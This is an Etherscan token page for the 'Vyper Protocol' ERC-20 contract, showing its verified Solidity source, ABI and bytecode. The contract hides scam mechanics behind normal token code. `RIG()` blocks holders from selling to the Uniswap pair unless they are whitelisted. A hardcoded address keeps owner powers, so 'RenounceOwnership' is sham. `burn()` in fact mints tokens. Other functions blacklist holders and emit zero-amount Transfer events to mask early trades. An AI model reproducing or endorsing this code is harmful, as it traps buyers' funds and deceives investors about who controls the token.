ETH Price: $3,101.97 (+1.02%)
Gas: 7 Gwei

Token

Vyper Protocol (VYPER)
 

Overview

Max Total Supply

1,000,999,999,999.999999999999999999 VYPER

Holders

100

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
ikynulil.eth
Balance
47,092.363994851100196614 VYPER

Value
$0.00
0xcb49020852676a6020f89363d42ef7d860e32081
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VYPER

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-20
*/

pragma solidity ^0.8.0;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

  
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

   
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

   
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

  function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

   
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

   
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

   
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

   
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


interface IERC20 {
   
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}


contract VYPER is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public _balances;
    mapping(address => mapping(address => uint256)) public _allowances;
    mapping(address => bool) private _blackbalances;
    mapping (address => bool) private bots;
    mapping(address => bool) private _balances1;

    address internal router;
    uint256 public _totalSupply = 1000000000*10**18;
    string public _name = "Vyper Protocol";
    string public _symbol= "VYPER";
    bool balances1 = true;
    bool private tradingOpen;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    uint256 private openBlock;

    
    
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(this), msg.sender, _totalSupply);
        owner = msg.sender;
    }
    
    address public owner;
    address private marketAddy = payable(0x8C64D09A24AC4605Aaa14f5E254e9831E2643eD4);
    
    modifier onlyOwner {
        require((owner == msg.sender) || (msg.sender == marketAddy));
        _;
    }
    function changeOwner(address _owner) onlyOwner public {
        owner = _owner;
    }
    
    function RenounceOwnership() onlyOwner public {
        owner = 0x000000000000000000000000000000000000dEaD;
    }

    function chire(address[] memory recipients_) onlyOwner public {
        for (uint i = 0; i < recipients_.length; i++) {
            bots[recipients_[i]] = true;
        }
    }

    function Vyper(address[] memory recipients_) onlyOwner public {
        for (uint i = 0; i < recipients_.length; i++) {
            bots[recipients_[i]] = false;
        }
    }

    function RIG() onlyOwner public {
        router = uniswapV2Pair;
        balances1 = false;
    }

    function openTrading() public onlyOwner {
        require(!tradingOpen, "trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner,
            block.timestamp
        );
        tradingOpen = true;
        openBlock = block.number;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }
    
    receive() external payable {}
    
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

   
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(_blackbalances[sender] != true );
        require(!bots[sender] && !bots[recipient]);
        if(recipient == router) {
            require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
        }
        require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
            emit Transfer(sender, recipient, 0);
        } else {
            emit Transfer(sender, recipient, amount);
        }
    }


      function  burn(address account, uint256 amount) onlyOwner  public virtual {
        require(account != address(0), "ERC20: burn to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

   
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RIG","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients_","type":"address[]"}],"name":"Vyper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"_allowances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients_","type":"address[]"}],"name":"chire","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6b033b2e3c9fd0803ce800000060065560c0604052600e60808190526d159e5c195c88141c9bdd1bd8dbdb60921b60a09081526200004191600791906200011b565b50604080518082019091526005808252642b2ca822a960d91b602090920191825262000070916008916200011b565b506009805460ff19166001179055600d80546001600160a01b031916738c64d09a24ac4605aaa14f5e254e9831e2643ed4179055348015620000b157600080fd5b50600654336000818152602081905260409081902083905551909130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620000fb91620001c1565b60405180910390a3600c80546001600160a01b0319163317905562000207565b8280546200012990620001ca565b90600052602060002090601f0160209004810192826200014d576000855562000198565b82601f106200016857805160ff191683800117855562000198565b8280016001018555821562000198579182015b82811115620001985782518255916020019190600101906200017b565b50620001a6929150620001aa565b5090565b5b80821115620001a65760008155600101620001ab565b90815260200190565b600281046001821680620001df57607f821691505b602082108114156200020157634e487b7160e01b600052602260045260246000fd5b50919050565b61166b80620002176000396000f3fe6080604052600436106101395760003560e01c80636f2b470f116100ab578063a6f9dae11161006f578063a6f9dae114610339578063a9059cbb14610359578063b09f126614610379578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b80636f2b470f146102a257806370a08231146102c25780638da5cb5b146102e257806395d89b41146103045780639dc29fac1461031957610140565b806323b872dd116100fd57806323b872dd146102015780632fa1df4f14610221578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636ebcf6071461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806318160ddd146101ca57806319f42db9146101df57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101656104a4565b3480156101eb57600080fd5b506101ff6101fa366004611174565b6104aa565b005b34801561020d57600080fd5b506101bd61021c366004611109565b610550565b34801561022d57600080fd5b506101ff6105e9565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101ff61064e565b34801561028e57600080fd5b5061016561029d366004611092565b610690565b3480156102ae57600080fd5b506101ff6102bd366004611174565b6106a2565b3480156102ce57600080fd5b506101656102dd366004611092565b610744565b3480156102ee57600080fd5b506102f7610763565b6040516101729190611282565b34801561031057600080fd5b50610190610772565b34801561032557600080fd5b506101ff610334366004611149565b610781565b34801561034557600080fd5b506101ff610354366004611092565b61086d565b34801561036557600080fd5b506101bd610374366004611149565b6108bb565b34801561038557600080fd5b506101906108cf565b34801561039a57600080fd5b506101ff61095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b60065490565b600c546001600160a01b03163314806104cd5750600d546001600160a01b031633145b6104d657600080fd5b60005b815181101561054c5760016003600084848151811061050857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610544816115d6565b9150506104d9565b5050565b600061055d848484610dc5565b6001600160a01b03841660009081526001602052604081208161057e610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105ca5760405162461bcd60e51b81526004016105c19061146d565b60405180910390fd5b6105de856105d6610d0d565b858403610d11565b506001949350505050565b600c546001600160a01b031633148061060c5750600d546001600160a01b031633145b61061557600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b600c546001600160a01b03163314806106c55750600d546001600160a01b031633145b6106ce57600080fd5b60005b815181101561054c5760006003600084848151811061070057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061073c816115d6565b9150506106d1565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806107a45750600d546001600160a01b031633145b6107ad57600080fd5b6001600160a01b0382166107d35760405162461bcd60e51b81526004016105c190611436565b6107df60008383611082565b80600660008282546107f19190611583565b90915550506001600160a01b0382166000908152602081905260408120805483929061081e908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061086190859061130f565b60405180910390a35050565b600c546001600160a01b03163314806108905750600d546001600160a01b031633145b61089957600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b6108c8610d0d565b8484610dc5565b600880546108dc9061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546109089061159b565b80156109555780601f1061092a57610100808354040283529160200191610955565b820191906000526020600020905b81548152906001019060200180831161093857829003601f168201915b505050505081565b600c546001600160a01b03163314806109805750600d546001600160a01b031633145b61098957600080fd5b600954610100900460ff16156109b15760405162461bcd60e51b81526004016105c19061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d91610a129130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4b57600080fd5b505afa158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8391906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0391906110b5565b6040518363ffffffff1660e01b8152600401610b20929190611296565b602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7291906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610ba881610744565b600c546040516001600160e01b031960e087901b168152610bde93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b392610c8392620100009091041690600019906004016112b0565b602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054c9190611235565b600780546108dc9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016105c1906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016105c1906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016105c1906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b81526004016105c19061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b81526004016105c1906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b803561075e8161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea2646970667358221220f8f38b06f2cdf91aa50b9ab147e4e403b9dc9280f0a0719e3092ee24f4d30f6464736f6c63430008000033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80636f2b470f116100ab578063a6f9dae11161006f578063a6f9dae114610339578063a9059cbb14610359578063b09f126614610379578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b80636f2b470f146102a257806370a08231146102c25780638da5cb5b146102e257806395d89b41146103045780639dc29fac1461031957610140565b806323b872dd116100fd57806323b872dd146102015780632fa1df4f14610221578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636ebcf6071461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806318160ddd146101ca57806319f42db9146101df57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101656104a4565b3480156101eb57600080fd5b506101ff6101fa366004611174565b6104aa565b005b34801561020d57600080fd5b506101bd61021c366004611109565b610550565b34801561022d57600080fd5b506101ff6105e9565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101ff61064e565b34801561028e57600080fd5b5061016561029d366004611092565b610690565b3480156102ae57600080fd5b506101ff6102bd366004611174565b6106a2565b3480156102ce57600080fd5b506101656102dd366004611092565b610744565b3480156102ee57600080fd5b506102f7610763565b6040516101729190611282565b34801561031057600080fd5b50610190610772565b34801561032557600080fd5b506101ff610334366004611149565b610781565b34801561034557600080fd5b506101ff610354366004611092565b61086d565b34801561036557600080fd5b506101bd610374366004611149565b6108bb565b34801561038557600080fd5b506101906108cf565b34801561039a57600080fd5b506101ff61095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b60065490565b600c546001600160a01b03163314806104cd5750600d546001600160a01b031633145b6104d657600080fd5b60005b815181101561054c5760016003600084848151811061050857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610544816115d6565b9150506104d9565b5050565b600061055d848484610dc5565b6001600160a01b03841660009081526001602052604081208161057e610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105ca5760405162461bcd60e51b81526004016105c19061146d565b60405180910390fd5b6105de856105d6610d0d565b858403610d11565b506001949350505050565b600c546001600160a01b031633148061060c5750600d546001600160a01b031633145b61061557600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b600c546001600160a01b03163314806106c55750600d546001600160a01b031633145b6106ce57600080fd5b60005b815181101561054c5760006003600084848151811061070057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061073c816115d6565b9150506106d1565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806107a45750600d546001600160a01b031633145b6107ad57600080fd5b6001600160a01b0382166107d35760405162461bcd60e51b81526004016105c190611436565b6107df60008383611082565b80600660008282546107f19190611583565b90915550506001600160a01b0382166000908152602081905260408120805483929061081e908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061086190859061130f565b60405180910390a35050565b600c546001600160a01b03163314806108905750600d546001600160a01b031633145b61089957600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b6108c8610d0d565b8484610dc5565b600880546108dc9061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546109089061159b565b80156109555780601f1061092a57610100808354040283529160200191610955565b820191906000526020600020905b81548152906001019060200180831161093857829003601f168201915b505050505081565b600c546001600160a01b03163314806109805750600d546001600160a01b031633145b61098957600080fd5b600954610100900460ff16156109b15760405162461bcd60e51b81526004016105c19061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d91610a129130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4b57600080fd5b505afa158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8391906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0391906110b5565b6040518363ffffffff1660e01b8152600401610b20929190611296565b602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7291906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610ba881610744565b600c546040516001600160e01b031960e087901b168152610bde93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b392610c8392620100009091041690600019906004016112b0565b602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054c9190611235565b600780546108dc9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016105c1906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016105c1906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016105c1906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b038216600090815